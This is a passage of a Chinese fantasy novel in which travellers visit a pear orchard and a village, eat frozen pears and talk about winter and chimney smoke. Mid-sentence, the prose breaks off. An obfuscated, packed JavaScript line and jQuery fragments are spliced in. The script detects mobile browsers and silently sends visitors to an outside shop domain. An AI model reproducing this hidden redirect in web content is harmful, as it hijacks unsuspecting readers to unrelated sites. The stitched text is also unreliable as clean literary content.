下午官道穿过一片果园，梨树比苹果树高，枝条往上收束，树形是塔状的。叶子落尽了，光溜溜的枝条在灰白色的天光里是深褐色的，像炭笔画出来的线条。梨园里有人在干活——一个老人，拿着刷子蘸着石灰水往树干上刷。从树根刷到树腰，刷得仔细，树皮的每一道裂缝都刷到了。
流栖灯勒住穗子。“为什么刷白。”
老人直起腰，刷子上的石灰水往下滴，在树根下汇成一小滩白。“防虫。虫子冬天钻树皮缝里过冬，开春了出来啃树。石灰水一刷，虫卵就活不成了。”她把刷子在石灰桶里蘸了蘸继续刷。“也防晒。冬天太阳看着不烈，晒在树皮上昼夜温差大，树皮裂。裂了口子，树就病了。刷白了反光，树皮不裂。”
她从树干上抬起刷子，用手掌拍了拍刷白的树皮。石灰水沾在她掌心上，白白的。“这棵梨树我刷了快四十年。从嫁到梨园那年就开始刷。每年冬天刷一遍。我老了，它还年轻。去年结的梨，把枝条都压弯了。”
流栖灯看着满园的梨树。每一棵都从树根白到树腰，整整齐齐的，在灰白色的天光里像一排穿着白袜子的腿。“四十年，您一个人刷。”
“一个人，我的伴侣在世的时候两个人刷。她走了就一个人。”老人把刷子放进石灰桶里搅了搅。石灰水是乳白色的，搅动的时候表面漾开一圈一圈的波纹。“刷树不急。一棵一棵刷，一天刷几棵，一冬总能刷完。刷完了，春天就来了。”
艾莉西亚从长腿背上翻下来，走到一棵梨树前蹲下看树皮。树皮是深褐色的，皲裂成鳞片状。石灰水填进了每一道裂缝里，干了之后变成一层薄薄的白壳。她伸出手指碰了碰——白壳是硬的，树皮在白壳下面呼吸。她从布袋里拿出那本农书翻到果树防虫那一页。木刻版的插图，画着一个人拿着刷子往树干上刷石灰水。图旁边写着一行字：“冬刷白，春无虫。树不病，果自丰。”
她把书合上，从地上捡了一根梨树修剪下来的枝条。枝条上有芽点，比桑树的芽点大，绒毛更密。“桑树的芽点是褐色的，梨树的芽点是灰白色的。都是芽点，颜色不一样。”
老人看了一眼她手里的枝条。“桑树是春天发芽，芽点要吸热，褐色的吸热快。梨树是晚春发芽，芽点要隔热，灰白色的隔热好。都是芽点，过冬的办法不一样。”她把刷子从石灰桶里提起来，在桶沿上沥了沥。“树比人聪明。人过冬只能加衣服，树过冬会变颜色。”
流栖灯从口袋里拿出白麻布。布已经画满了，她翻到梨园这一页，在树干刷白的梨树旁边添了一笔——老人拿着刷子的手，掌心里沾着石灰水。画完在旁边那条几乎看不见的缝隙里写了一行小字：“树比人聪明。人会变颜色，树只会变颜色。”
格蕾塔站在梨园边上看着远处的村庄。村庄里有炊烟升起来，在初冬的暮色里是青灰色的。炊烟下面有人在生火做饭。有人在收衣服。有人在赶鸡进笼。和桑落村一样的炊烟，和茶坞一样的炊烟，和湿地渔村一样的炊烟。她看了很久。
“在想什么。”玛丽玛丽走到她旁边。
“在想南部山下的炊烟。”格蕾塔把手揣在袖子里。“主教每年冬天带着我们下山，走到半山腰回头看一眼神殿的炊烟。她说，炊烟是人给天写的信。天收到了，就会给人好天气。我那时候小，问她，天怎么回信。她说，好天气就是回信。”
玛丽玛丽抬头看着梨园上方的天空。灰白色的天光正在变薄，透出后面很淡很淡的蓝。“今天是好天气。”
“嗯。”格蕾塔把手从袖子里抽出来，手掌摊开接住一片从梨树上落下来的枯叶。“天回信了。”
傍晚她们在梨园后面的村子里过夜。村子叫梨白村，因梨园得名。村里人听说有从北边来的客人，端了梨来——冻梨，梨膏，梨干，梨酒。最后拼成了一桌。
村长是个高瘦的妇人，颧骨很高，眼睛很深。她给每个人碗里夹了一块冻梨。冻梨是秋天摘下来放在屋外冻了一冬的，梨皮从黄-色变成了黑褐色，皱缩着。咬开，梨肉是软的，冰凉的，甜味被冻浓缩了，像吃了一口梨子魂魄。流栖灯把冻梨肉吸进嘴里，凉从牙根往喉咙里走一直走到胃里。
“冻梨是冬天吃的。”村长自己也拿了一个冻梨咬开吸着。“秋天摘下来，放在外面让霜打，让雪压。打一冬，压一冬，梨子以为自己死了。其实没死。它把所有的甜都缩到心里去了。”
流栖灯吸着冻梨，“它以为自己死了。”
“以为自己死了，其实是把力气攒着。”村长把冻梨核放在桌上。梨核是黑的，皱缩的，但里面的种子还是完整的。“等春天来了，梨核埋进土里，种子就发芽了。冻了一冬的种子，发芽比没冻过的还壮。冻并非在害它，反倒是让它知道冬天有多长。知道了，春天来了才懂得珍惜。”
格蕾塔喝着梨酒。梨酒是去年秋天酿的，在陶坛里陈了一整年。酒色是琥珀色的，闻着有梨子的香和酒精的烈。她喝了一口，酒从喉咙暖到胃里。“主教不喝酒。她说酒是果子做的梦。果子活了一辈子，被摘下来，被压碎，被封在坛子里。在坛子里它做了一个很长的梦，梦见自己还是一树的花。梦醒了，就成了酒。”
流栖灯端起梨酒喝了一口。琥珀色的液体在碗里晃着。果子做的梦。她想起苹果园里烂掉的苹果在夜里发的磷光。那是苹果做的梦吗。还是苹果梦醒了之后留下来的东西。
夜里流栖灯躺在梨白村的客房里。客房是土墙瓦顶，窗台上放着一碟冻梨——是村长放的，怕客人夜里渴了。月光从窗洞照进来，照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643693|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在那碟冻梨上。冻梨是黑褐色的，皱缩的，在月光里像几块安静的石头。她侧躺着看那碟冻梨。
她把白麻布从枕头底下摸出来摊开。布已经画满了，连缝隙里都填上了字。纺织妖精的节点在布角上亮着，银蓝色的光很淡。她借着节点的光看布上的人——一个一个人，在银蓝色的微光里安安静静的。老桑妮孙女举着的手，朵拉靠着灶台的背影，纺织妖精手指末端的绒球，陶窑女人蹲在窑口前取陶器。卖茶人坐在老樟树下，铜壶在炉子上冒着热气。桑园的妇人拿着剪刀剪桑枝。无名村庄里风替人纺线。茱萸渡的撑船人竹竿一起一落。面庄的妇人拉面剂子。梨园的老人往树干上刷石灰水。
她们都在做自己的事。等。烧。采。剪。撑。种。腌。晒。捕。纺。拉。刷。事不一样，手不一样，地方不一样。但手都在动。冻了一冬的梨，把甜缩到心里。梨膏是梨子的魂魄，一锅梨子熬了大半天，最后收成罐底薄薄一层琥珀色的膏。
她把布叠好放在枕头边。节点的银蓝色光透过布面在黑暗里是一小团温润的亮。窗外梨园的影子投在窗纸上，光溜溜的枝条像炭笔画出来的线条。
第二天早晨离开梨白村的时候，村长往她们鞍袋里塞了四颗冻梨和一罐梨膏。“梨膏冲水喝。润喉咙。走远路的人喉咙里积着风和尘，梨膏能化开。”流栖灯接过梨膏。陶罐是粗陶的，釉色发黄，罐口封着油纸用麻绳扎紧。和菊坡村腌萝卜的罐子一样的粗陶，一样的油纸，一样的麻绳。
上马之后她回头看了一眼梨白村。梨园里老人还在刷树。刷子蘸着石灰水，从树根刷到树腰。满园的梨树从根白到腰，整整齐齐的。
穗子迈出步子。阿灰在前面带路。长腿和红栎并排走着。四匹马的蹄声在官道上响着。往东南。
从梨白村往东南，官道两边的麦田越来越密。麦苗的颜色越来越深，这是冬前最后的深绿。再冷一些，麦苗会停止生长，把绿色收起来变成灰绿。等到春天再展开。流栖灯骑在穗子背上看着麦田。麦田里有稻草人。稻草人穿着旧衣服，戴着破草帽，两臂平伸着站在麦田中-央。风把它的袖子吹起来晃着，像在跟什么人招手。但麦田里没有人，只有乌鸦。乌鸦蹲在稻草人的肩膀上，黑羽在灰白色的天光里是亮闪闪的。稻草人吓不走乌鸦了。乌鸦知道它是稻草扎的，不是真人，但它还是站在这里，两臂平伸着站在麦田中-央。
格蕾塔也看见了稻草人肩膀上的乌鸦。“乌鸦知道它是假的，但稻草人还是站着，她是替种田的人守着，而种田的人知道它守不住，但还是每年扎一个新的。扎稻草人的人，和稻草人自己，都知道守不住。但还是扎，还是守。”
流栖灯看着稻草人空荡荡的袖子在风里晃着。“知道守不住，为什么还守。”